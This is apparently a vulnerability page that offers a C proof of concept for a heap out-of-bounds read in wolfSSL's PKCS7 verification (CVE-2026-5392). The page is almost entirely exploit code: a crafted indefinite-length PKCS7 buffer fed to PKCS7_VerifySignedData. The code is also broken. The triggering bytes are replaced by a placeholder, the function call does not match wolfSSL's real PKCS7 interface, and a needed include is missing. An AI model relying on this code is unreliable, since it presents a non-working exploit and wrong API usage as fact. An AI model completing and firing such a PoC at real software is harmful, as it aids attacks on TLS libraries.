CVE-2026-5392 wolfSSL PKCS7堆越界读取漏洞

#include <wolfssl/options.h> #include <wolfssl/wolfcrypt/pkcs7.h> /* * PoC for CVE-2026-5392 * This code demonstrates how a crafted PKCS7 message * can trigger the heap out-of-bounds read. */ int main() { // Crafted PKCS7 message with indefinite length manipulation // This hex stream is designed to hit the missing bounds check unsigned char crafted_data[] = { 0x30, 0x80, // SEQUENCE, indefinite length 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, // OID // ... malformed content to trigger OOB loop ... 0x00, 0x00 // End-of-content octets }; int data_len = sizeof(crafted_data); // Initialize wolfSSL library wolfSSL_Init(); // Call the vulnerable function // Missing bounds check in PKCS7_VerifySignedData may cause OOB read printf("Attempting to verify crafted PKCS7 data..."); int res = PKCS7_VerifySignedData(crafted_data, data_len, NULL, 0); if (res < 0) { printf("Error triggered (Expected behavior for malformed input)."); } wolfSSL_Cleanup(); return 0; }